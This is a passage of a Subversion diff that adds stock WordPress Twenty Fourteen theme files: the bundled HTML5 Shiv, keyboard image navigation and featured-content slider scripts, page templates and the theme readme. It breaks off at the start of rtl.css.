+(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
+a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
+c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
+"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
+if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/keyboard-image-navigation.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/keyboard-image-navigation.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/keyboard-image-navigation.js	(revision 56912)
@@ -0,0 +1,21 @@
+/**
+ * Twenty Fourteen keyboard support for image navigation.
+ */
+( function( $ ) {
+	$( document ).on( 'keydown.twentyfourteen', function( e ) {
+		var url = false;
+
+		// Left arrow key code.
+		if ( e.which === 37 ) {
+			url = $( '.previous-image a' ).attr( 'href' );
+
+		// Right arrow key code.
+		} else if ( e.which === 39 ) {
+			url = $( '.entry-attachment a' ).attr( 'href' );
+		}
+
+		if ( url && ( ! $( 'textarea, input' ).is( ':focus' ) ) ) {
+			window.location = url;
+		}
+	} );
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/slider.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/slider.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/slider.js	(revision 56912)
@@ -0,0 +1,598 @@
+/*
+ * Twenty Fourteen Featured Content Slider
+ *
+ * Adapted from FlexSlider v2.2.0, copyright 2012 WooThemes
+ * @link http://www.woothemes.com/flexslider/
+ */
+/* global DocumentTouch:true,setImmediate:true,featuredSliderDefaults:true,MSGesture:true */
+( function( $ ) {
+	// FeaturedSlider: object instance.
+	$.featuredslider = function( el, options ) {
+		var slider = $( el ),
+			msGesture = window.navigator && window.navigator.msPointerEnabled && window.MSGesture,
+			touch = ( ( 'ontouchstart' in window ) || msGesture || window.DocumentTouch && document instanceof DocumentTouch ), // MSFT specific.
+			eventType = 'click touchend MSPointerUp',
+			watchedEvent = '',
+			watchedEventClearTimer,
+			methods = {},
+			namespace;
+
+		// Make variables public.
+		slider.vars = $.extend( {}, $.featuredslider.defaults, options );
+
+		namespace = slider.vars.namespace,
+
+		// Store a reference to the slider object.
+		$.data( el, 'featuredslider', slider );
+
+		// Private slider methods.
+		methods = {
+			init: function() {
+				slider.animating = false;
+				slider.currentSlide = 0;
+				slider.animatingTo = slider.currentSlide;
+				slider.atEnd = ( slider.currentSlide === 0 || slider.currentSlide === slider.last );
+				slider.containerSelector = slider.vars.selector.substr( 0, slider.vars.selector.search( ' ' ) );
+				slider.slides = $( slider.vars.selector, slider );
+				slider.container = $( slider.containerSelector, slider );
+				slider.count = slider.slides.length;
+				slider.prop = 'marginLeft';
+				slider.isRtl = $( 'body' ).hasClass( 'rtl' );
+				slider.args = {};
+				// TOUCH
+				slider.transitions = ( function() {
+					var obj = document.createElement( 'div' ),
+						props = ['perspectiveProperty', 'WebkitPerspective', 'MozPerspective', 'OPerspective', 'msPerspective'],
+						i;
+
+					for ( i in props ) {
+						if ( obj.style[ props[i] ] !== undefined ) {
+							slider.pfx = props[i].replace( 'Perspective', '' ).toLowerCase();
+							slider.prop = '-' + slider.pfx + '-transform';
+							return true;
+						}
+					}
+					return false;
+				}() );
+				// CONTROLSCONTAINER
+				if ( slider.vars.controlsContainer !== '' ) {
+					slider.controlsContainer = $( slider.vars.controlsContainer ).length > 0 && $( slider.vars.controlsContainer );
+				}
+
+				slider.doMath();
+
+				// INIT
+				slider.setup( 'init' );
+
+				// CONTROLNAV
+				methods.controlNav.setup();
+
+				// DIRECTIONNAV
+				methods.directionNav.setup();
+
+				// KEYBOARD
+				if ( $( slider.containerSelector ).length === 1 ) {
+					$( document ).bind( 'keyup', function( event ) {
+						var keycode = event.keyCode,
+							target = false;
+						if ( ! slider.animating && ( keycode === 39 || keycode === 37 ) ) {
+							if ( keycode === 39 ) {
+								target = slider.getTarget( 'next' );
+							} else if ( keycode === 37 ) {
+								target = slider.getTarget( 'prev' );
+							}
+
+							slider.featureAnimate( target );
+						}
+					} );
+				}
+
+				// TOUCH
+				if ( touch ) {
+					methods.touch();
+				}
+
+				$( window ).bind( 'resize orientationchange focus', methods.resize );
+
+				slider.find( 'img' ).attr( 'draggable', 'false' );
+			},
+
+			controlNav: {
+				setup: function() {
+					methods.controlNav.setupPaging();
+				},
+				setupPaging: function() {
+					var type = 'control-paging',
+						j = 1,
+						item,
+						slide,
+						i;
+
+					slider.controlNavScaffold = $( '<ol class="' + namespace + 'control-nav ' + namespace + type + '"></ol>' );
+
+					if ( slider.pagingCount > 1 ) {
+						for ( i = 0; i < slider.pagingCount; i++ ) {
+							slide = slider.slides.eq( i );
+							item = '<a>' + j + '</a>';
+							slider.controlNavScaffold.append( '<li>' + item + '</li>' );
+							j++;
+						}
+					}
+
+					// CONTROLSCONTAINER
+					( slider.controlsContainer ) ? $( slider.controlsContainer ).append( slider.controlNavScaffold ) : slider.append( slider.controlNavScaffold );
+					methods.controlNav.set();
+
+					methods.controlNav.active();
+
+					slider.controlNavScaffold.delegate( 'a, img', eventType, function( event ) {
+						event.preventDefault();
+
+						if ( watchedEvent === '' || watchedEvent === event.type ) {
+							var $this = $( this ),
+								target = slider.controlNav.index( $this );
+
+							if ( ! $this.hasClass( namespace + 'active' ) ) {
+								slider.direction = ( target > slider.currentSlide ) ? 'next' : 'prev';
+								slider.featureAnimate( target );
+							}
+						}
+
+						// Set up flags to prevent event duplication.
+						if ( watchedEvent === '' ) {
+							watchedEvent = event.type;
+						}
+
+						methods.setToClearWatchedEvent();
+					} );
+				},
+				set: function() {
+					var selector = 'a';
+					slider.controlNav = $( '.' + namespace + 'control-nav li ' + selector, ( slider.controlsContainer ) ? slider.controlsContainer : slider );
+				},
+				active: function() {
+					slider.controlNav.removeClass( namespace + 'active' ).eq( slider.animatingTo ).addClass( namespace + 'active' );
+				},
+				update: function( action, pos ) {
+					if ( slider.pagingCount > 1 && action === 'add' ) {
+						slider.controlNavScaffold.append( $( '<li><a>' + slider.count + '</a></li>' ) );
+					} else if ( slider.pagingCount === 1 ) {
+						slider.controlNavScaffold.find( 'li' ).remove();
+					} else {
+						slider.controlNav.eq( pos ).closest( 'li' ).remove();
+					}
+					methods.controlNav.set();
+					( slider.pagingCount > 1 && slider.pagingCount !== slider.controlNav.length ) ? slider.update( pos, action ) : methods.controlNav.active();
+				}
+			},
+
+			directionNav: {
+				setup: function() {
+					var directionNavScaffold = $( '<ul class="' + namespace + 'direction-nav"><li><a class="' + namespace + 'prev" href="#">' + slider.vars.prevText + '</a></li><li><a class="' + namespace + 'next" href="#">' + slider.vars.nextText + '</a></li></ul>' );
+
+					// CONTROLSCONTAINER
+					if ( slider.controlsContainer ) {
+						$( slider.controlsContainer ).append( directionNavScaffold );
+						slider.directionNav = $( '.' + namespace + 'direction-nav li a', slider.controlsContainer );
+					} else {
+						slider.append( directionNavScaffold );
+						slider.directionNav = $( '.' + namespace + 'direction-nav li a', slider );
+					}
+
+					methods.directionNav.update();
+
+					slider.directionNav.bind( eventType, function( event ) {
+						event.preventDefault();
+						var target;
+
+						if ( watchedEvent === '' || watchedEvent === event.type ) {
+							target = ( $( this ).hasClass( namespace + 'next' ) ) ? slider.getTarget( 'next' ) : slider.getTarget( 'prev' );
+							slider.featureAnimate( target );
+						}
+
+						// Set up flags to prevent event duplication.
+						if ( watchedEvent === '' ) {
+							watchedEvent = event.type;
+						}
+
+						methods.setToClearWatchedEvent();
+					} );
+				},
+				update: function() {
+					var disabledClass = namespace + 'disabled';
+					if ( slider.pagingCount === 1 ) {
+						slider.directionNav.addClass( disabledClass ).attr( 'tabindex', '-1' );
+					} else {
+						slider.directionNav.removeClass( disabledClass ).removeAttr( 'tabindex' );
+					}
+				}
+			},
+
+			touch: function() {
+				var startX,
+					startY,
+					offset,
+					cwidth,
+					dx,
+					startT,
+					scrolling = false,
+					localX = 0,
+					localY = 0,
+					accDx = 0;
+
+				if ( ! msGesture ) {
+					el.addEventListener( 'touchstart', onTouchStart, false );
+				} else {
+					el.style.msTouchAction = 'none';
+					el._gesture = new MSGesture(); // MSFT specific.
+					el._gesture.target = el;
+					el.addEventListener( 'MSPointerDown', onMSPointerDown, false );
+					el._slider = slider;
+					el.addEventListener( 'MSGestureChange', onMSGestureChange, false );
+					el.addEventListener( 'MSGestureEnd', onMSGestureEnd, false );
+				}
+
+				function onTouchStart( e ) {
+					if ( slider.animating ) {
+						e.preventDefault();
+					} else if ( ( window.navigator.msPointerEnabled ) || e.touches.length === 1 ) {
+						cwidth = slider.w;
+						startT = Number( new Date() );
+
+						// Local vars for X and Y points.
+						localX = e.touches[0].pageX;
+						localY = e.touches[0].pageY;
+
+						offset = ( slider.currentSlide + slider.cloneOffset ) * cwidth;
+						if ( slider.animatingTo === slider.last && slider.direction !== 'next' ) {
+							offset = 0;
+						}
+
+						startX = localX;
+						startY = localY;
+
+						el.addEventListener( 'touchmove', onTouchMove, false );
+						el.addEventListener( 'touchend', onTouchEnd, false );
+					}
+				}
+
+				function onTouchMove( e ) {
+					// Local vars for X and Y points.
+					localX = e.touches[0].pageX;
+					localY = e.touches[0].pageY;
+
+					dx = startX - localX;
+					scrolling = Math.abs( dx ) < Math.abs( localY - startY );
+
+					if ( ! scrolling ) {
+						e.preventDefault();
+						if ( slider.transitions ) {
+							slider.setProps( offset + dx, 'setTouch' );
+						}
+					}
+				}
+
+				function onTouchEnd() {
+					// Finish the touch by undoing the touch session.
+					el.removeEventListener( 'touchmove', onTouchMove, false );
+
+					if ( slider.animatingTo === slider.currentSlide && ! scrolling && dx !== null ) {
+						var updateDx = dx,
+							target = ( updateDx > 0 ) ? slider.getTarget( 'next' ) : slider.getTarget( 'prev' );
+
+						slider.featureAnimate( target );
+					}
+					el.removeEventListener( 'touchend', onTouchEnd, false );
+
+					startX = null;
+					startY = null;
+					dx = null;
+					offset = null;
+				}
+
+				function onMSPointerDown( e ) {
+					e.stopPropagation();
+					if ( slider.animating ) {
+						e.preventDefault();
+					} else {
+						el._gesture.addPointer( e.pointerId );
+						accDx = 0;
+						cwidth = slider.w;
+						startT = Number( new Date() );
+						offset = ( slider.currentSlide + slider.cloneOffset ) * cwidth;
+						if ( slider.animatingTo === slider.last && slider.direction !== 'next' ) {
+							offset = 0;
+						}
+					}
+				}
+
+				function onMSGestureChange( e ) {
+					e.stopPropagation();
+					var slider = e.target._slider,
+						transX,
+						transY;
+					if ( ! slider ) {
+						return;
+					}
+
+					transX = -e.translationX,
+					transY = -e.translationY;
+
+					// Accumulate translations.
+					accDx = accDx + transX;
+					dx = accDx;
+					scrolling = Math.abs( accDx ) < Math.abs( -transY );
+
+					if ( e.detail === e.MSGESTURE_FLAG_INERTIA ) {
+						setImmediate( function () { // MSFT specific.
+							el._gesture.stop();
+						} );
+
+						return;
+					}
+
+					if ( ! scrolling || Number( new Date() ) - startT > 500 ) {
+						e.preventDefault();
+						if ( slider.transitions ) {
+							slider.setProps( offset + dx, 'setTouch' );
+						}
+					}
+				}
+
+				function onMSGestureEnd( e ) {
+					e.stopPropagation();
+					var slider = e.target._slider,
+						updateDx,
+						target;
+					if ( ! slider ) {
+						return;
+					}
+
+					if ( slider.animatingTo === slider.currentSlide && ! scrolling && dx !== null ) {
+						updateDx = dx,
+						target = ( updateDx > 0 ) ? slider.getTarget( 'next' ) : slider.getTarget( 'prev' );
+
+						slider.featureAnimate( target );
+					}
+
+					startX = null;
+					startY = null;
+					dx = null;
+					offset = null;
+					accDx = 0;
+				}
+			},
+
+			resize: function() {
+				if ( ! slider.animating && slider.is( ':visible' ) ) {
+					slider.doMath();
+
+					// SMOOTH HEIGHT
+					methods.smoothHeight();
+					slider.newSlides.width( slider.computedW );
+					slider.setProps( slider.computedW, 'setTotal' );
+				}
+			},
+
+			smoothHeight: function( dur ) {
+				var $obj = slider.viewport;
+				( dur ) ? $obj.animate( { 'height': slider.slides.eq( slider.animatingTo ).height() }, dur ) : $obj.height( slider.slides.eq( slider.animatingTo ).height() );
+			},
+
+			setToClearWatchedEvent: function() {
+				clearTimeout( watchedEventClearTimer );
+				watchedEventClearTimer = setTimeout( function() {
+					watchedEvent = '';
+				}, 3000 );
+			}
+		};
+
+		// Public methods.
+		slider.featureAnimate = function( target ) {
+			if ( target !== slider.currentSlide ) {
+				slider.direction = ( target > slider.currentSlide ) ? 'next' : 'prev';
+			}
+
+			if ( ! slider.animating && slider.is( ':visible' ) ) {
+				slider.animating = true;
+				slider.animatingTo = target;
+
+				// CONTROLNAV
+				methods.controlNav.active();
+
+				slider.slides.removeClass( namespace + 'active-slide' ).eq( target ).addClass( namespace + 'active-slide' );
+
+				slider.atEnd = target === 0 || target === slider.last;
+
+				// DIRECTIONNAV
+				methods.directionNav.update();
+
+				var dimension = slider.computedW,
+					slideString;
+
+				if ( slider.currentSlide === 0 && target === slider.count - 1 && slider.direction !== 'next' ) {
+					slideString = 0;
+				} else if ( slider.currentSlide === slider.last && target === 0 && slider.direction !== 'prev' ) {
+					slideString = ( slider.count + 1 ) * dimension;
+				} else {
+					slideString = ( target + slider.cloneOffset ) * dimension;
+				}
+				slider.setProps( slideString, '', slider.vars.animationSpeed );
+				if ( slider.transitions ) {
+					if ( ! slider.atEnd ) {
+						slider.animating = false;
+						slider.currentSlide = slider.animatingTo;
+					}
+					slider.container.unbind( 'webkitTransitionEnd transitionend' );
+					slider.container.bind( 'webkitTransitionEnd transitionend', function() {
+						slider.wrapup( dimension );
+					} );
+				} else {
+					slider.container.animate( slider.args, slider.vars.animationSpeed, 'swing', function() {
+						slider.wrapup( dimension );
+					} );
+				}
+
+				// SMOOTH HEIGHT
+				methods.smoothHeight( slider.vars.animationSpeed );
+			}
+		};
+
+		slider.wrapup = function( dimension ) {
+			if ( slider.currentSlide === 0 && slider.animatingTo === slider.last ) {
+				slider.setProps( dimension, 'jumpEnd' );
+			} else if ( slider.currentSlide === slider.last && slider.animatingTo === 0 ) {
+				slider.setProps( dimension, 'jumpStart' );
+			}
+			slider.animating = false;
+			slider.currentSlide = slider.animatingTo;
+		};
+
+		slider.getTarget = function( dir ) {
+			slider.direction = dir;
+
+			// Swap for RTL.
+			if ( slider.isRtl ) {
+				dir = 'next' === dir ? 'prev' : 'next';
+			}
+
+			if ( dir === 'next' ) {
+				return ( slider.currentSlide === slider.last ) ? 0 : slider.currentSlide + 1;
+			} else {
+				return ( slider.currentSlide === 0 ) ? slider.last : slider.currentSlide - 1;
+			}
+		};
+
+		slider.setProps = function( pos, special, dur ) {
+			var target = ( function() {
+				var posCalc = ( function() {
+						switch ( special ) {
+							case 'setTotal': return ( slider.currentSlide + slider.cloneOffset ) * pos;
+							case 'setTouch': return pos;
+							case 'jumpEnd': return slider.count * pos;
+							case 'jumpStart': return pos;
+							default: return pos;
+						}
+					}() );
+
+					return ( posCalc * -1 ) + 'px';
+				}() );
+
+			if ( slider.transitions ) {
+				target = 'translate3d(' + target + ',0,0 )';
+				dur = ( dur !== undefined ) ? ( dur / 1000 ) + 's' : '0s';
+				slider.container.css( '-' + slider.pfx + '-transition-duration', dur );
+			}
+
+			slider.args[slider.prop] = target;
+			if ( slider.transitions || dur === undefined ) {
+				slider.container.css( slider.args );
+			}
+		};
+
+		slider.setup = function( type ) {
+			var sliderOffset;
+
+			if ( type === 'init' ) {
+				slider.viewport = $( '<div class="' + namespace + 'viewport"></div>' ).css( { 'overflow': 'hidden', 'position': 'relative' } ).appendTo( slider ).append( slider.container );
+				slider.cloneCount = 0;
+				slider.cloneOffset = 0;
+			}
+			slider.cloneCount = 2;
+			slider.cloneOffset = 1;
+			// Clear out old clones.
+			if ( type !== 'init' ) {
+				slider.container.find( '.clone' ).remove();
+			}
+
+			slider.container.append( slider.slides.first().clone().addClass( 'clone' ).attr( 'aria-hidden', 'true' ) ).prepend( slider.slides.last().clone().addClass( 'clone' ).attr( 'aria-hidden', 'true' ) );
+			slider.newSlides = $( slider.vars.selector, slider );
+
+			sliderOffset = slider.currentSlide + slider.cloneOffset;
+			slider.container.width( ( slider.count + slider.cloneCount ) * 200 + '%' );
+			slider.setProps( sliderOffset * slider.computedW, 'init' );
+			setTimeout( function() {
+				slider.doMath();
+				slider.newSlides.css( { 'width': slider.computedW, 'float': 'left', 'display': 'block' } );
+				// SMOOTH HEIGHT
+				methods.smoothHeight();
+			}, ( type === 'init' ) ? 100 : 0 );
+
+			slider.slides.removeClass( namespace + 'active-slide' ).eq( slider.currentSlide ).addClass( namespace + 'active-slide' );
+		};
+
+		slider.doMath = function() {
+			var slide = slider.slides.first();
+
+			slider.w = ( slider.viewport === undefined ) ? slider.width() : slider.viewport.width();
+			slider.h = slide.height();
+			slider.boxPadding = slide.outerWidth() - slide.width();
+
+			slider.itemW = slider.w;
+			slider.pagingCount = slider.count;
+			slider.last = slider.count - 1;
+			slider.computedW = slider.itemW - slider.boxPadding;
+		};
+
+		slider.update = function( pos, action ) {
+			slider.doMath();
+
+			// Update currentSlide and slider.animatingTo if necessary.
+			if ( pos < slider.currentSlide ) {
+				slider.currentSlide += 1;
+			} else if ( pos <= slider.currentSlide && pos !== 0 ) {
+				slider.currentSlide -= 1;
+			}
+			slider.animatingTo = slider.currentSlide;
+
+			// Update controlNav.
+			if ( action === 'add' || slider.pagingCount > slider.controlNav.length ) {
+				methods.controlNav.update( 'add' );
+			} else if ( action === 'remove' || slider.pagingCount < slider.controlNav.length ) {
+				if ( slider.currentSlide > slider.last ) {
+					slider.currentSlide -= 1;
+					slider.animatingTo -= 1;
+				}
+				methods.controlNav.update( 'remove', slider.last );
+			}
+			// Update directionNav.
+			methods.directionNav.update();
+		};
+
+		// FeaturedSlider: initialize.
+		methods.init();
+	};
+
+	// Default settings.
+	$.featuredslider.defaults = {
+		namespace: 'slider-',     // String: prefix string attached to the class of every element generated by the plugin.
+		selector: '.slides > li', // String: selector, must match a simple pattern.
+		animationSpeed: 600,      // Integer: Set the speed of animations, in milliseconds.
+		controlsContainer: '',    // jQuery Object/Selector: container navigation to append elements.
+
+		// Text labels.
+		prevText: featuredSliderDefaults.prevText, // String: Set the text for the "previous" directionNav item.
+		nextText: featuredSliderDefaults.nextText  // String: Set the text for the "next" directionNav item.
+	};
+
+	// FeaturedSlider: plugin function.
+	$.fn.featuredslider = function( options ) {
+		if ( options === undefined ) {
+			options = {};
+		}
+
+		if ( typeof options === 'object' ) {
+			return this.each( function() {
+				var $this = $( this ),
+					selector = ( options.selector ) ? options.selector : '.slides > li',
+					$slides = $this.find( selector );
+
+			if ( $slides.length === 1 || $slides.length === 0 ) {
+					$slides.fadeIn( 400 );
+				} else if ( $this.data( 'featuredslider' ) === undefined ) {
+					new $.featuredslider( this, options );
+				}
+			} );
+		}
+	};
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/page-templates/contributors.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/page-templates/contributors.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/page-templates/contributors.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * Template Name: Contributor Page
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+<div id="main-content" class="main-content">
+
+<?php
+	if ( is_front_page() && twentyfourteen_has_featured_posts() ) {
+		// Include the featured content template.
+		get_template_part( 'featured-content' );
+	}
+?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+			<?php
+				// Start the Loop.
+				while ( have_posts() ) : the_post();
+			?>
+
+			<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+				<?php
+					the_title( '<header class="entry-header"><h1 class="entry-title">', '</h1></header><!-- .entry-header -->' );
+
+					// Output the authors list.
+					twentyfourteen_list_authors();
+
+					edit_post_link( __( 'Edit', 'twentyfourteen' ), '<footer class="entry-meta"><span class="edit-link">', '</span></footer>' );
+				?>
+			</article><!-- #post-## -->
+
+			<?php
+					// If comments are open or we have at least one comment, load up the comment template.
+					if ( comments_open() || get_comments_number() ) {
+						comments_template();
+					}
+				endwhile;
+			?>
+		</div><!-- #content -->
+	</div><!-- #primary -->
+</div><!-- #main-content -->
+
+<?php
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/page-templates/full-width.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/page-templates/full-width.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/page-templates/full-width.php	(revision 56912)
@@ -0,0 +1,42 @@
+<?php
+/**
+ * Template Name: Full Width Page
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+<div id="main-content" class="main-content">
+
+<?php
+	if ( is_front_page() && twentyfourteen_has_featured_posts() ) {
+		// Include the featured content template.
+		get_template_part( 'featured-content' );
+	}
+?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+			<?php
+				// Start the Loop.
+				while ( have_posts() ) : the_post();
+
+					// Include the page content template.
+					get_template_part( 'content', 'page' );
+
+					// If comments are open or we have at least one comment, load up the comment template.
+					if ( comments_open() || get_comments_number() ) {
+						comments_template();
+					}
+				endwhile;
+			?>
+		</div><!-- #content -->
+	</div><!-- #primary -->
+</div><!-- #main-content -->
+
+<?php
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/page.php	(revision 56912)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * The template for displaying all pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages and that
+ * other 'pages' on your WordPress site will use a different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+<div id="main-content" class="main-content">
+
+<?php
+	if ( is_front_page() && twentyfourteen_has_featured_posts() ) {
+		// Include the featured content template.
+		get_template_part( 'featured-content' );
+	}
+?>
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php
+				// Start the Loop.
+				while ( have_posts() ) : the_post();
+
+					// Include the page content template.
+					get_template_part( 'content', 'page' );
+
+					// If comments are open or we have at least one comment, load up the comment template.
+					if ( comments_open() || get_comments_number() ) {
+						comments_template();
+					}
+				endwhile;
+			?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+	<?php get_sidebar( 'content' ); ?>
+</div><!-- #main-content -->
+
+<?php
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/readme.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/readme.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/readme.txt	(revision 56912)
@@ -0,0 +1,131 @@
+=== Twenty Fourteen ===
+Contributors: the WordPress team
+Requires at least: WordPress 3.6
+Tested up to: WordPress 5.0
+Stable tag: 2.5
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, news, two-columns, three-columns, left-sidebar, right-sidebar, custom-background, custom-header, custom-menu, editor-style, featured-images, flexible-header, footer-widgets, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready, accessibility-ready
+
+== Description ==
+In 2014, our default theme lets you create a responsive magazine website with a sleek, modern design. Feature your favorite homepage content in either a grid or a slider. Use the three widget areas to customize your website, and change your content's layout with a full-width page template and a contributor page to show off your authors. Creating a magazine website with WordPress has never been easier.
+
+For more information about Twenty Fourteen please go to https://codex.wordpress.org/Twenty_Fourteen.
+
+== Installation ==
+
+1. In your admin panel, go to Appearance -> Themes and click the 'Add New' button.
+2. Type in Twenty Fourteen in the search form and press the 'Enter' key in your keyboard.
+3. Click on the 'Activate' button to use your new theme right away.
+4. Go to https://codex.wordpress.org/Twenty_Fourteen for a guide to customize this theme.
+5. Navigate to Appearance > Customize in your admin panel.
+
+== Copyright ==
+
+Twenty Fourteen WordPress Theme, Copyright 2013-2018 WordPress.org & Automattic.com
+Twenty Fourteen is Distributed under the terms of the GNU GPL
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+Twenty Fourteen Theme is derived from the Further Theme, Copyright 2013 Takashi Irie
+Further Theme is distributed under the terms of the GNU GPL
+
+Twenty Fourteen Theme bundles the following third-party resources:
+
+HTML5 Shiv v3.7.0, Copyright 2014 Alexander Farkas
+Licenses: MIT/GPL2
+Source: https://github.com/aFarkas/html5shiv
+
+Genericons icon font, Copyright 2013-2017 Automattic.com
+License: GNU GPL, Version 2 (or later)
+Source: http://www.genericons.com
+
+== Changelog ==
+
+= 2.5 =
+* Released: January 9, 2019
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_2.5
+
+= 2.4 =
+* Released: December 19, 2018
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_2.4
+
+= 2.3 =
+* Released: December 6, 2018
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_2.3
+
+= 2.2 =
+* Released: May 17, 2018
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_2.2
+
+= 2.1 =
+* Released: November 14, 2017
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_2.1
+
+= 2.0 =
+* Released: June 8, 2017
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_2.0
+
+= 1.9 =
+* Released: December 6, 2016
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_1.9
+
+= 1.8 =
+* Released: August 15, 2016
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_1.8
+
+= 1.7 =
+* Released: April 12, 2016
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_1.7
+
+= 1.6 =
+* Released: December 8, 2015
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_1.6
+
+= 1.5 =
+* Released: August 18, 2015
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_1.5
+
+= 1.4 =
+* Released: April 23, 2015
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_1.4
+
+= 1.3 =
+* Released: December 18, 2014
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_1.3
+
+= 1.2 =
+* Released: September 4, 2014
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_1.2
+
+= 1.1 =
+* Released: May 8, 2014
+
+https://codex.wordpress.org/Twenty_Fourteen_Theme_Changelog#Version_1.1
+
+= 1.0 =
+* Released: December 12, 2013
+
+Initial release.
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/rtl.css	(revision 56912)
@@ -0,0 +1,869 @@
+/*
+Theme Name: Twenty Fourteen
